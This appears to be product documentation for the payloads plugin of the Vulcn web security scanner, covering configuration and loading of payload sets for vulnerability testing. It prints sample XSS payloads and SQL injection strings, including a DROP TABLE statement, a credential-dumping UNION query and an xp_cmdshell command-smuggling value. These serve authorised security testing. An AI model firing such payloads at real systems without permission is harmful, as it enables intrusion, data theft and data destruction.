Skip to main content

​
Overview

The payloads plugin handles all payload loading for Vulcn:
  • Built-in payloads - 13 payload sets, 91 individual payloads
  • PayloadsAllTheThings - Fetch from the popular repository
  • Custom files - Load your own YAML/JSON payload files

​
Installation

The plugin is included with the CLI and loaded automatically. 
npm install @vulcn/plugin-payloads

​
Configuration

plugins:
  - name: "@vulcn/plugin-payloads"
    config:
      builtin: true
      include:
        - xss-basic
        - sqli-basic
      exclude:
        - xss-polyglot
      payloadbox:
        - xss
        - sql-injection
      files:
        - ./custom-payloads.yml

​
Options

OptionTypeDefaultDescription
builtinbooleantrueInclude built-in payloads
includestring[]-Only include these payload sets
excludestring[]-Exclude these payload sets
payloadboxstring[]-Fetch from PayloadsAllTheThings
filesstring[]-Custom payload file paths

​
Built-in Payload Sets

​
XSS Payloads

Basic XSS payloads with script tags and simple event handlers:
<script>alert('XSS')</script>
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
...
Event handler payloads:
<body onload=alert('XSS')>
<div onmouseover=alert('XSS')>hover</div>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>
...
SVG-based XSS payloads:
<svg onload=alert('XSS')>
<svg/onload=alert('XSS')>
<svg><script>alert('XSS')</script></svg>
...
Polyglot payloads that work in multiple contexts:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )/
...

​
SQL Injection Payloads

Basic SQL injection payloads: ' OR '1'='1 ' OR '1'='1' -- " OR "1"="1 1' OR '1'='1 1; DROP TABLE users-- ...
Error-based SQL injection: ' AND 1=CONVERT(int,@@version)-- ' AND extractvalue(1,concat(0x7e,version()))-- ...
Blind SQL injection (time-based): ' AND SLEEP(5)-- ' AND 1=1 AND SLEEP(5)-- 1' AND (SELECT SLEEP(5))-- ...
UNION-based SQL injection: ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT username,password FROM users-- ...

​
Other Payloads

SetCountDescription
ssrf-basic5Server-Side Request Forgery
xxe-basic4XML External Entity
cmd-basic6Command injection
path-traversal8Directory traversal
open-redirect4Open redirect

​
PayloadsAllTheThings

Fetch payloads from PayloadsAllTheThings: 
payloadbox:
  - xss
  - sql-injection
  - xxe
  - command-injection
  - open-redirect
  - path-traversal
Available types:
TypeDescription
xssXSS payloads
sql-injectionSQL injection payloads
xxeXXE payloads
command-injectionCommand injection payloads
open-redirectOpen redirect payloads
path-traversalPath traversal payloads

​
Custom Payload Files

Create your own payload files: 
# custom-payloads.yml
version: "1"
payloads:
  - name: my-xss-payloads
    category: xss
    description: Custom XSS for our app
    payloads:
      - "<script>alert('custom')</script>"
      - "<img src=x onerror=alert('custom')>"
    detectPatterns:
      - "alert\\('custom'\\)"

  - name: my-sqli-payloads
    category: sqli
    description: Database-specific SQLi
    payloads:
      - "'; EXEC xp_cmdshell('whoami')--"
      - "1; SELECT pg_sleep(5)--"
Load in config: 
plugins:
  - name: "@vulcn/plugin-payloads"
    config:
      files:
        - ./custom-payloads.yml
Or via CLI: 
vulcn run session.vulcn.yml --payload-file ./custom-payloads.yml

​
Programmatic Usage

import {
  BUILTIN_PAYLOADS,
  loadPayloadBox,
  loadFromFile,
  getPayloadBoxTypes,
} from "@vulcn/plugin-payloads";

// Get all built-in payloads
const xssBasic = BUILTIN_PAYLOADS["xss-basic"];

// Fetch from PayloadsAllTheThings
const xssPayloads = await loadPayloadBox("xss", 50);

// Load from file
const customPayloads = await loadFromFile("./my-payloads.yml");

// List available PayloadBox types
const types = getPayloadBoxTypes();
// ["xss", "sql-injection", "xxe", ...]